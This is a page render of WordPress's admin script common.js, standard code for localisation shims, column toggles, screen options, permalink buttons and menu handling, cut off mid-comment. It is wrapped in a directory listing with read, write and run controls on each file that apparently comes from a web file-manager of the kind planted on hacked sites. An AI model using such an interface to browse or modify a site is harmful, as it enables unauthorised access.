at path:ROOT / wp-admin / js / common.js
run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄common.js
1/**
2 * @output wp-admin/js/common.js
3 */
4
5/* global setUserSetting, ajaxurl, alert, confirm, pagenow */
6/* global columns, screenMeta */
7
8/**
9 * Adds common WordPress functionality to the window.
10 *
11 * @param {jQuery} $ jQuery object.
12 * @param {Object} window The window object.
13 * @param {mixed} undefined Unused.
14 */
15( function( $, window, undefined ) {
16 var $document = $( document ),
17 $window = $( window ),
18 $body = $( document.body ),
19 __ = wp.i18n.__,
20 sprintf = wp.i18n.sprintf;
21
22/**
23 * Throws an error for a deprecated property.
24 *
25 * @since 5.5.1
26 *
27 * @param {string} propName The property that was used.
28 * @param {string} version The version of WordPress that deprecated the property.
29 * @param {string} replacement The property that should have been used.
30 */
31function deprecatedProperty( propName, version, replacement ) {
32 var message;
33
34 if ( 'undefined' !== typeof replacement ) {
35 message = sprintf(
36 /* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */
37 __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ),
38 propName,
39 version,
40 replacement
41 );
42 } else {
43 message = sprintf(
44 /* translators: 1: Deprecated property name, 2: Version number. */
45 __( '%1$s is deprecated since version %2$s with no alternative available.' ),
46 propName,
47 version
48 );
49 }
50
51 window.console.warn( message );
52}
53
54/**
55 * Deprecate all properties on an object.
56 *
57 * @since 5.5.1
58 * @since 5.6.0 Added the `version` parameter.
59 *
60 * @param {string} name The name of the object, i.e. commonL10n.
61 * @param {object} l10nObject The object to deprecate the properties on.
62 * @param {string} version The version of WordPress that deprecated the property.
63 *
64 * @return {object} The object with all its properties deprecated.
65 */
66function deprecateL10nObject( name, l10nObject, version ) {
67 var deprecatedObject = {};
68
69 Object.keys( l10nObject ).forEach( function( key ) {
70 var prop = l10nObject[ key ];
71 var propName = name + '.' + key;
72
73 if ( 'object' === typeof prop ) {
74 Object.defineProperty( deprecatedObject, key, { get: function() {
75 deprecatedProperty( propName, version, prop.alternative );
76 return prop.func();
77 } } );
78 } else {
79 Object.defineProperty( deprecatedObject, key, { get: function() {
80 deprecatedProperty( propName, version, 'wp.i18n' );
81 return prop;
82 } } );
83 }
84 } );
85
86 return deprecatedObject;
87}
88
89window.wp.deprecateL10nObject = deprecateL10nObject;
90
91/**
92 * Removed in 5.5.0, needed for back-compatibility.
93 *
94 * @since 2.6.0
95 * @deprecated 5.5.0
96 */
97window.commonL10n = window.commonL10n || {
98 warnDelete: '',
99 dismiss: '',
100 collapseMenu: '',
101 expandMenu: ''
102};
103
104window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' );
105
106/**
107 * Removed in 5.5.0, needed for back-compatibility.
108 *
109 * @since 3.3.0
110 * @deprecated 5.5.0
111 */
112window.wpPointerL10n = window.wpPointerL10n || {
113 dismiss: ''
114};
115
116window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' );
117
118/**
119 * Removed in 5.5.0, needed for back-compatibility.
120 *
121 * @since 4.3.0
122 * @deprecated 5.5.0
123 */
124window.userProfileL10n = window.userProfileL10n || {
125 warn: '',
126 warnWeak: '',
127 show: '',
128 hide: '',
129 cancel: '',
130 ariaShow: '',
131 ariaHide: ''
132};
133
134window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' );
135
136/**
137 * Removed in 5.5.0, needed for back-compatibility.
138 *
139 * @since 4.9.6
140 * @deprecated 5.5.0
141 */
142window.privacyToolsL10n = window.privacyToolsL10n || {
143 noDataFound: '',
144 foundAndRemoved: '',
145 noneRemoved: '',
146 someNotRemoved: '',
147 removalError: '',
148 emailSent: '',
149 noExportFile: '',
150 exportError: ''
151};
152
153window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' );
154
155/**
156 * Removed in 5.5.0, needed for back-compatibility.
157 *
158 * @since 3.6.0
159 * @deprecated 5.5.0
160 */
161window.authcheckL10n = {
162 beforeunload: ''
163};
164
165window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' );
166
167/**
168 * Removed in 5.5.0, needed for back-compatibility.
169 *
170 * @since 2.8.0
171 * @deprecated 5.5.0
172 */
173window.tagsl10n = {
174 noPerm: '',
175 broken: ''
176};
177
178window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' );
179
180/**
181 * Removed in 5.5.0, needed for back-compatibility.
182 *
183 * @since 2.5.0
184 * @deprecated 5.5.0
185 */
186window.adminCommentsL10n = window.adminCommentsL10n || {
187 hotkeys_highlight_first: {
188 alternative: 'window.adminCommentsSettings.hotkeys_highlight_first',
189 func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; }
190 },
191 hotkeys_highlight_last: {
192 alternative: 'window.adminCommentsSettings.hotkeys_highlight_last',
193 func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; }
194 },
195 replyApprove: '',
196 reply: '',
197 warnQuickEdit: '',
198 warnCommentChanges: '',
199 docTitleComments: '',
200 docTitleCommentsCount: ''
201};
202
203window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' );
204
205/**
206 * Removed in 5.5.0, needed for back-compatibility.
207 *
208 * @since 2.5.0
209 * @deprecated 5.5.0
210 */
211window.tagsSuggestL10n = window.tagsSuggestL10n || {
212 tagDelimiter: '',
213 removeTerm: '',
214 termSelected: '',
215 termAdded: '',
216 termRemoved: ''
217};
218
219window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' );
220
221/**
222 * Removed in 5.5.0, needed for back-compatibility.
223 *
224 * @since 3.5.0
225 * @deprecated 5.5.0
226 */
227window.wpColorPickerL10n = window.wpColorPickerL10n || {
228 clear: '',
229 clearAriaLabel: '',
230 defaultString: '',
231 defaultAriaLabel: '',
232 pick: '',
233 defaultLabel: ''
234};
235
236window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' );
237
238/**
239 * Removed in 5.5.0, needed for back-compatibility.
240 *
241 * @since 2.7.0
242 * @deprecated 5.5.0
243 */
244window.attachMediaBoxL10n = window.attachMediaBoxL10n || {
245 error: ''
246};
247
248window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' );
249
250/**
251 * Removed in 5.5.0, needed for back-compatibility.
252 *
253 * @since 2.5.0
254 * @deprecated 5.5.0
255 */
256window.postL10n = window.postL10n || {
257 ok: '',
258 cancel: '',
259 publishOn: '',
260 publishOnFuture: '',
261 publishOnPast: '',
262 dateFormat: '',
263 showcomm: '',
264 endcomm: '',
265 publish: '',
266 schedule: '',
267 update: '',
268 savePending: '',
269 saveDraft: '',
270 'private': '',
271 'public': '',
272 publicSticky: '',
273 password: '',
274 privatelyPublished: '',
275 published: '',
276 saveAlert: '',
277 savingText: '',
278 permalinkSaved: ''
279};
280
281window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' );
282
283/**
284 * Removed in 5.5.0, needed for back-compatibility.
285 *
286 * @since 2.7.0
287 * @deprecated 5.5.0
288 */
289window.inlineEditL10n = window.inlineEditL10n || {
290 error: '',
291 ntdeltitle: '',
292 notitle: '',
293 comma: '',
294 saved: ''
295};
296
297window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' );
298
299/**
300 * Removed in 5.5.0, needed for back-compatibility.
301 *
302 * @since 2.7.0
303 * @deprecated 5.5.0
304 */
305window.plugininstallL10n = window.plugininstallL10n || {
306 plugin_information: '',
307 plugin_modal_label: '',
308 ays: ''
309};
310
311window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' );
312
313/**
314 * Removed in 5.5.0, needed for back-compatibility.
315 *
316 * @since 3.0.0
317 * @deprecated 5.5.0
318 */
319window.navMenuL10n = window.navMenuL10n || {
320 noResultsFound: '',
321 warnDeleteMenu: '',
322 saveAlert: '',
323 untitled: ''
324};
325
326window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' );
327
328/**
329 * Removed in 5.5.0, needed for back-compatibility.
330 *
331 * @since 2.5.0
332 * @deprecated 5.5.0
333 */
334window.commentL10n = window.commentL10n || {
335 submittedOn: '',
336 dateFormat: ''
337};
338
339window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' );
340
341/**
342 * Removed in 5.5.0, needed for back-compatibility.
343 *
344 * @since 2.9.0
345 * @deprecated 5.5.0
346 */
347window.setPostThumbnailL10n = window.setPostThumbnailL10n || {
348 setThumbnail: '',
349 saving: '',
350 error: '',
351 done: ''
352};
353
354window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' );
355
356/**
357 * Removed in 6.5.0, needed for back-compatibility.
358 *
359 * @since 4.5.0
360 * @deprecated 6.5.0
361 */
362window.uiAutocompleteL10n = window.uiAutocompleteL10n || {
363 noResults: '',
364 oneResult: '',
365 manyResults: '',
366 itemSelected: ''
367};
368
369window.uiAutocompleteL10n = deprecateL10nObject( 'uiAutocompleteL10n', window.uiAutocompleteL10n, '6.5.0' );
370
371/**
372 * Removed in 3.3.0, needed for back-compatibility.
373 *
374 * @since 2.7.0
375 * @deprecated 3.3.0
376 */
377window.adminMenu = {
378 init : function() {},
379 fold : function() {},
380 restoreMenuState : function() {},
381 toggle : function() {},
382 favorites : function() {}
383};
384
385// Show/hide/save table columns.
386window.columns = {
387
388 /**
389 * Initializes the column toggles in the screen options.
390 *
391 * Binds an onClick event to the checkboxes to show or hide the table columns
392 * based on their toggled state. And persists the toggled state.
393 *
394 * @since 2.7.0
395 *
396 * @return {void}
397 */
398 init : function() {
399 var that = this;
400 $('.hide-column-tog', '#adv-settings').on( 'click', function() {
401 var $t = $(this), column = $t.val();
402 if ( $t.prop('checked') )
403 that.checked(column);
404 else
405 that.unchecked(column);
406
407 columns.saveManageColumnsState();
408 });
409 },
410
411 /**
412 * Saves the toggled state for the columns.
413 *
414 * Saves whether the columns should be shown or hidden on a page.
415 *
416 * @since 3.0.0
417 *
418 * @return {void}
419 */
420 saveManageColumnsState : function() {
421 var hidden = this.hidden();
422 $.post(
423 ajaxurl,
424 {
425 action: 'hidden-columns',
426 hidden: hidden,
427 screenoptionnonce: $('#screenoptionnonce').val(),
428 page: pagenow
429 },
430 function() {
431 wp.a11y.speak( __( 'Screen Options updated.' ) );
432 }
433 );
434 },
435
436 /**
437 * Makes a column visible and adjusts the column span for the table.
438 *
439 * @since 3.0.0
440 * @param {string} column The column name.
441 *
442 * @return {void}
443 */
444 checked : function(column) {
445 $('.column-' + column).removeClass( 'hidden' );
446 this.colSpanChange(+1);
447 },
448
449 /**
450 * Hides a column and adjusts the column span for the table.
451 *
452 * @since 3.0.0
453 * @param {string} column The column name.
454 *
455 * @return {void}
456 */
457 unchecked : function(column) {
458 $('.column-' + column).addClass( 'hidden' );
459 this.colSpanChange(-1);
460 },
461
462 /**
463 * Gets all hidden columns.
464 *
465 * @since 3.0.0
466 *
467 * @return {string} The hidden column names separated by a comma.
468 */
469 hidden : function() {
470 return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() {
471 return this.id;
472 }).get().join( ',' );
473 },
474
475 /**
476 * Gets the checked column toggles from the screen options.
477 *
478 * @since 3.0.0
479 *
480 * @return {string} String containing the checked column names.
481 */
482 useCheckboxesForHidden : function() {
483 this.hidden = function(){
484 return $('.hide-column-tog').not(':checked').map(function() {
485 var id = this.id;
486 return id.substring( id, id.length - 5 );
487 }).get().join(',');
488 };
489 },
490
491 /**
492 * Adjusts the column span for the table.
493 *
494 * @since 3.1.0
495 *
496 * @param {number} diff The modifier for the column span.
497 */
498 colSpanChange : function(diff) {
499 var $t = $('table').find('.colspanchange'), n;
500 if ( !$t.length )
501 return;
502 n = parseInt( $t.attr('colspan'), 10 ) + diff;
503 $t.attr('colspan', n.toString());
504 }
505};
506
507$( function() { columns.init(); } );
508
509/**
510 * Validates that the required form fields are not empty.
511 *
512 * @since 2.9.0
513 *
514 * @param {jQuery} form The form to validate.
515 *
516 * @return {boolean} Returns true if all required fields are not an empty string.
517 */
518window.validateForm = function( form ) {
519 return !$( form )
520 .find( '.form-required' )
521 .filter( function() { return $( ':input:visible', this ).val() === ''; } )
522 .addClass( 'form-invalid' )
523 .find( ':input:visible' )
524 .on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
525 .length;
526};
527
528// Stub for doing better warnings.
529/**
530 * Shows message pop-up notice or confirmation message.
531 *
532 * @since 2.7.0
533 *
534 * @type {{warn: showNotice.warn, note: showNotice.note}}
535 *
536 * @return {void}
537 */
538window.showNotice = {
539
540 /**
541 * Shows a delete confirmation pop-up message.
542 *
543 * @since 2.7.0
544 *
545 * @return {boolean} Returns true if the message is confirmed.
546 */
547 warn : function() {
548 if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
549 return true;
550 }
551
552 return false;
553 },
554
555 /**
556 * Shows an alert message.
557 *
558 * @since 2.7.0
559 *
560 * @param text The text to display in the message.
561 */
562 note : function(text) {
563 alert(text);
564 }
565};
566
567/**
568 * Represents the functions for the meta screen options panel.
569 *
570 * @since 3.2.0
571 *
572 * @type {{element: null, toggles: null, page: null, init: screenMeta.init,
573 * toggleEvent: screenMeta.toggleEvent, open: screenMeta.open,
574 * close: screenMeta.close}}
575 *
576 * @return {void}
577 */
578window.screenMeta = {
579 element: null, // #screen-meta
580 toggles: null, // .screen-meta-toggle
581 page: null, // #wpcontent
582
583 /**
584 * Initializes the screen meta options panel.
585 *
586 * @since 3.2.0
587 *
588 * @return {void}
589 */
590 init: function() {
591 this.element = $('#screen-meta');
592 this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
593 this.page = $('#wpcontent');
594
595 this.toggles.on( 'click', this.toggleEvent );
596 },
597
598 /**
599 * Toggles the screen meta options panel.
600 *
601 * @since 3.2.0
602 *
603 * @return {void}
604 */
605 toggleEvent: function() {
606 var panel = $( '#' + $( this ).attr( 'aria-controls' ) );
607
608 if ( !panel.length )
609 return;
610
611 if ( panel.is(':visible') )
612 screenMeta.close( panel, $(this) );
613 else
614 screenMeta.open( panel, $(this) );
615 },
616
617 /**
618 * Opens the screen meta options panel.
619 *
620 * @since 3.2.0
621 *
622 * @param {jQuery} panel The screen meta options panel div.
623 * @param {jQuery} button The toggle button.
624 *
625 * @return {void}
626 */
627 open: function( panel, button ) {
628
629 $( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );
630
631 panel.parent().show();
632
633 /**
634 * Sets the focus to the meta options panel and adds the necessary CSS classes.
635 *
636 * @since 3.2.0
637 *
638 * @return {void}
639 */
640 panel.slideDown( 'fast', function() {
641 panel.removeClass( 'hidden' ).trigger( 'focus' );
642 button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
643 });
644
645 $document.trigger( 'screen:options:open' );
646 },
647
648 /**
649 * Closes the screen meta options panel.
650 *
651 * @since 3.2.0
652 *
653 * @param {jQuery} panel The screen meta options panel div.
654 * @param {jQuery} button The toggle button.
655 *
656 * @return {void}
657 */
658 close: function( panel, button ) {
659 /**
660 * Hides the screen meta options panel.
661 *
662 * @since 3.2.0
663 *
664 * @return {void}
665 */
666 panel.slideUp( 'fast', function() {
667 button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
668 $('.screen-meta-toggle').css('visibility', '');
669 panel.parent().hide();
670 panel.addClass( 'hidden' );
671 });
672
673 $document.trigger( 'screen:options:close' );
674 }
675};
676
677/**
678 * Initializes the help tabs in the help panel.
679 *
680 * @param {Event} e The event object.
681 *
682 * @return {void}
683 */
684$('.contextual-help-tabs').on( 'click', 'a', function(e) {
685 var link = $(this),
686 panel;
687
688 e.preventDefault();
689
690 // Don't do anything if the click is for the tab already showing.
691 if ( link.is('.active a') )
692 return false;
693
694 // Links.
695 $('.contextual-help-tabs .active').removeClass('active');
696 link.parent('li').addClass('active');
697
698 panel = $( link.attr('href') );
699
700 // Panels.
701 $('.help-tab-content').not( panel ).removeClass('active').hide();
702 panel.addClass('active').show();
703});
704
705/**
706 * Update custom permalink structure via buttons.
707 */
708var permalinkStructureFocused = false,
709 $permalinkStructure = $( '#permalink_structure' ),
710 $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
711 $permalinkCustomSelection = $( '#custom_selection' ),
712 $availableStructureTags = $( '.form-table.permalink-structure .available-structure-tags button' );
713
714// Change permalink structure input when selecting one of the common structures.
715$permalinkStructureInputs.on( 'change', function() {
716 if ( 'custom' === this.value ) {
717 return;
718 }
719
720 $permalinkStructure.val( this.value );
721
722 // Update button states after selection.
723 $availableStructureTags.each( function() {
724 changeStructureTagButtonState( $( this ) );
725 } );
726} );
727
728$permalinkStructure.on( 'click input', function() {
729 $permalinkCustomSelection.prop( 'checked', true );
730} );
731
732// Check if the permalink structure input field has had focus at least once.
733$permalinkStructure.on( 'focus', function( event ) {
734 permalinkStructureFocused = true;
735 $( this ).off( event );
736} );
737
738/**
739 * Enables or disables a structure tag button depending on its usage.
740 *
741 * If the structure is already used in the custom permalink structure,
742 * it will be disabled.
743 *
744 * @param {Object} button Button jQuery object.
745 */
746function changeStructureTagButtonState( button ) {
747 if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
748 button.attr( 'data-label', button.attr( 'aria-label' ) );
749 button.attr( 'aria-label', button.attr( 'data-used' ) );
750 button.attr( 'aria-pressed', true );
751 button.addClass( 'active' );
752 } else if ( button.attr( 'data-label' ) ) {
753 button.attr( 'aria-label', button.attr( 'data-label' ) );
754 button.attr( 'aria-pressed', false );
755 button.removeClass( 'active' );
756 }
757}
758
759// Check initial button state.
760$availableStructureTags.each( function() {
761 changeStructureTagButtonState( $( this ) );
762} );
763
764// Observe permalink structure field and disable buttons of tags that are already present.
765$permalinkStructure.on( 'change', function() {
766 $availableStructureTags.each( function() {
767 changeStructureTagButtonState( $( this ) );
768 } );
769} );
770
771$availableStructureTags.on( 'click', function() {
772 var permalinkStructureValue = $permalinkStructure.val(),
773 selectionStart = $permalinkStructure[ 0 ].selectionStart,
774 selectionEnd = $permalinkStructure[ 0 ].selectionEnd,
775 textToAppend = $( this ).text().trim(),
776 textToAnnounce,
777 newSelectionStart;
778
779 if ( $( this ).hasClass( 'active' ) ) {
780 textToAnnounce = $( this ).attr( 'data-removed' );
781 } else {
782 textToAnnounce = $( this ).attr( 'data-added' );
783 }
784
785 // Remove structure tag if already part of the structure.
786 if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
787 permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );
788
789 $permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );
790
791 // Announce change to screen readers.
792 $( '#custom_selection_updated' ).text( textToAnnounce );
793
794 // Disable button.
795 changeStructureTagButtonState( $( this ) );
796
797 return;
798 }
799
800 // Input field never had focus, move selection to end of input.
801 if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
802 selectionStart = selectionEnd = permalinkStructureValue.length;
803 }
804
805 $permalinkCustomSelection.prop( 'checked', true );
806
807 // Prepend and append slashes if necessary.
808 if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
809 textToAppend = '/' + textToAppend;
810 }
811
812 if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
813 textToAppend = textToAppend + '/';
814 }
815
816 // Insert structure tag at the specified position.
817 $permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );
818
819 // Announce change to screen readers.
820 $( '#custom_selection_updated' ).text( textToAnnounce );
821
822 // Disable button.
823 changeStructureTagButtonState( $( this ) );
824
825 // If input had focus give it back with cursor right after appended text.
826 if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
827 newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
828 $permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
829 $permalinkStructure.trigger( 'focus' );
830 }
831} );
832
833$( function() {
834 var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
835 lastClicked = false,
836 pageInput = $('input.current-page'),
837 currentPage = pageInput.val(),
838 isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
839 isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
840 $adminMenuWrap = $( '#adminmenuwrap' ),
841 $wpwrap = $( '#wpwrap' ),
842 $adminmenu = $( '#adminmenu' ),
843 $overlay = $( '#wp-responsive-overlay' ),
844 $toolbar = $( '#wp-toolbar' ),
845 $toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
846 $sortables = $('.meta-box-sortables'),
847 wpResponsiveActive = false,
848 $adminbar = $( '#wpadminbar' ),
849 lastScrollPosition = 0,
850 pinnedMenuTop = false,
851 pinnedMenuBottom = false,
852 menuTop = 0,
853 menuState,
854 menuIsPinned = false,
855 height = {
856 window: $window.height(),
857 wpwrap: $wpwrap.height(),
858 adminbar: $adminbar.height(),
859 menu: $adminMenuWrap.height()
860 },
861 $headerEnd = $( '.wp-header-end' );
862
863 /**
864 * Makes the fly-out submenu header clickable, when the menu is folded.
865 *
866 * @param {Event} e The event object.
867 *
868 * @return {void}
869 */
870 $adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
871 $(e.target).parent().siblings('a').get(0).click();
872 });
873
874 /**
875 * Collapses the admin menu.
876 *
877 * @return {void}
878 */
879 $( '#collapse-button' ).on( 'click.collapse-menu', function() {
880 var viewportWidth = getViewportWidth() || 961;
881
882 // Reset any compensation for submenus near the bottom of the screen.
883 $('#adminmenu div.wp-submenu').css('margin-top', '');
884
885 if ( viewportWidth <= 960 ) {
886 if ( $body.hasClass('auto-fold') ) {
887 $body.removeClass('auto-fold').removeClass('folded');
888 setUserSetting('unfold', 1);
889 setUserSetting('mfold', 'o');
890 menuState = 'open';
891 } else {
892 $body.addClass('auto-fold');
893 setUserSetting('unfold', 0);
894 menuState = 'folded';
895 }
896 } else {
897 if ( $body.hasClass('folded') ) {
898 $body.removeClass('folded');
899 setUserSetting('mfold', 'o');
900 menuState = 'open';
901 } else {
902 $body.addClass('folded');
903 setUserSetting('mfold', 'f');
904 menuState = 'folded';
905 }
906 }
907
908 $document.trigger( 'wp-collapse-menu', { state: menuState } );
909 });
910
911 /**
912 * Ensures an admin submenu is within the visual viewport.
913 *
914 * @since 4.1.0
915 *
916 * @param {jQuery} $menuItem The parent menu item containing the submenu.
917 *
918 * @return {void}
919 */
920 function adjustSubmenu( $menuItem ) {
921 var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
922 $submenu = $menuItem.find( '.wp-submenu' );
923
924 menutop = $menuItem.offset().top;
925 wintop = $window.scrollTop();
926 maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar.
927
928 bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu.
929 pageHeight = $wpwrap.height(); // Height of the entire page.
930 adjustment = 60 + bottomOffset - pageHeight;
931 theFold = $window.height() + wintop - 50; // The fold.
932
933 if ( theFold < ( bottomOffset - adjustment ) ) {
934 adjustment = bottomOffset - theFold;
935 }
936
937 if ( adjustment > maxtop ) {
938 adjustment = maxtop;
939 }
940
941 if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) {
942 $submenu.css( 'margin-top', '-' + adjustment + 'px' );
943 } else {
944 $submenu.css( 'margin-top', '' );
945 }
946 }
947
948 if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device.
949 // iOS Safari works with touchstart, the rest work with click.
950 mobileEvent = isIOS ? 'touchstart' : 'click';
951
952 /**
953 * Closes any open submenus when touch/click is not on the menu.
954 *
955 * @param {Event} e The event object.
956 *
957 * @return {void}
958 */
959 $body.on( mobileEvent+'.wp-mobile-hover', function(e) {
960 if ( $adminmenu.data('wp-responsive') ) {
961 return;
962 }
963
964 if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
965 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
966 }
967 });
968
969 /**
970 * Handles the opening or closing the submenu based on the mobile click|touch event.
971 *
972 * @param {Event} event The event object.
973 *
974 * @return {void}
975 */
